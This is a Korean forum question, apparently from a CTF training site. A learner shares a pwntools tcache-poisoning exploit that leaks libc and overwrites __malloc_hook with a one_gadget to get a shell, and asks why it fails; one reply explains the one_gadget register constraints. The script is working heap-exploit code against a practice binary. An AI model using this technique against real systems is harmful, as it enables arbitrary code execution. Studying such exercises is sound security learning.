완료됨
__malloc_hook으로 시도해보았지만...
안녕하세요 고수분들 바쁘실텐데 제 질문에 귀중한 시간 내어주셔서 우선 감사인사 드립니다.
강의 익스 과정대로 __free_hook을 overwrite하는데는 이해하고 익스해봤는데요 __malloc_hook을 덮어도 익스해보면 어떨까 했는데 잘 되지않았습니다.
__malloc_hook을 libc-2.27.so의 one gadget으로 overwrite하고 switch구문 allocation 1.에 malloc호출해봤는데 EOF 혹은 가젯을 지나쳐 printf("Content: ")이후의 read함수에 걸리지만 쉘이 키보드 입력에 반응하지않습니다.
아직 초보라 개념이 잘 안잡혀있긴한데 이해하려고 최대한 노력해보겠습니다.
포너블 고수님ㅠㅠ 도와주세요!!
#!/usr/bin/env python3
from pwn import *
def slog(name, addr):
return log.success(': '.join([name, hex(addr)]))
target_file = './tcache_poison'
p = process(target_file, env={'LD_PRELOAD' : './libc-2.27.so'})
p = remote('host3.dreamhack.games', 23578)
elf = ELF(target_file)
'''
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
'''
libc = ELF('./libc-2.27.so')
def allocate(size, content):
p.sendlineafter(b'4. Edit\n', b'1')
p.sendlineafter(b'Size: ', str(size).encode())
p.sendafter(b'Content: ', content)
def free():
p.sendlineafter(b'4. Edit\n', b'2')
def print_chunk():
p.sendlineafter(b'4. Edit\n', b'3')
def edit_chunk(content):
p.sendlineafter(b'4. Edit\n', b'4')
p.sendafter(b'Edit chunk: ', content)
if __name__ == '__main__':
# Initial tcache[0x40] is empty.
# tcache[0x40]: Empty
# Allocate and free a chunk of size 0x40 (chunk A)
# tcache[0x40]: chunk A
allocate(0x40, b'dreamhack')
free()
# Free chunk A again, bypassing the DFB mitigation
# tcache[0x40]: chunk A -> chunk A
edit_chunk(p64(0) + b'\xff')
free()
# DFB segment fault check
# allocate(0x40, b'dreamhack')
# allocate(0x40, b'dreamhack')
# Append address of `stdout` to tcache[0x40]
# tcache[0x40]: chunk A -> stdout -> _IO_2_1_stdout_ -> ...
addr_stdout = elf.symbols['stdout']
allocate(0x40, p64(addr_stdout))
# tcache[0x40]: stdout -> _IO_2_1_stdout_ -> ...
allocate(0x40, b'dreamhack')
# tcache[0x40]: _IO_2_1_stdout_ -> ...
_io_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout_'])[0:1] # least significant byte of _IO_2_1_stdout_
allocate(0x40, _io_2_1_stdout_lsb) # allocated at `stdout`
# Libc leak
print_chunk()
p.recvuntil('Content: ')
stdout = u64(p.recv(6).ljust(8, b'\x00'))
slog('stdout', stdout)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
slog('libc_base', libc_base)
mh = libc_base + libc.symbols['__malloc_hook']
slog('malloc_hook', mh)
fh = libc_base + libc.symbols['__free_hook']
slog('free_hook', fh)
og_list = [0x4f3ce, 0x4f3d5, 0x4f432, 0x10a41c]
one_gadget = libc_base + og_list[3]
slog('one_gadget', one_gadget)
# Overwrite the `__malloc_hook` with the address of one-gadget
# Initial tcache[0x50] is empty.
# tcache[0x50]: Empty
# tcache[0x50]: chunk B
allocate(0x50, b'dreamhack')
free()
# tcache[0x50]: chunk B -> chunk B -> ...
edit_chunk(p64(0) + b'\xff')
free()
# tcache[0x50]: chunk B -> __malloc_hook
allocate(0x50, p64(mh))
# tcache[0x50]: __free_hook
allocate(0x50, b'dreamhack')
# __malloc_hook = the address of one-gadget
allocate(0x50, p64(one_gadget))
# Call `malloc()` to get shell
allocate(0x50, p64(0))
# free()
# allocate(0x50, p64(one_gadget)[0:1])
# Communicate with shell
p.interactive()
#pwnable
작성자 정보
답변
1
qwerty_io
대표 업적 없음
one_gadget을 사용할 경우, 각 레지스터에 one_gadget주소로 적합한 내용이 들어가 있어야 합니다. 따라서, 해당 부분을 디버거로 확인해보는 것이 좋아보입니다.
위의 이유 때문에, _free_hook에서는 올바르게 동작하는 one_gadget이더라도 _malloc_hook에서는 올바르게 동작하지 않을 수 있습니다.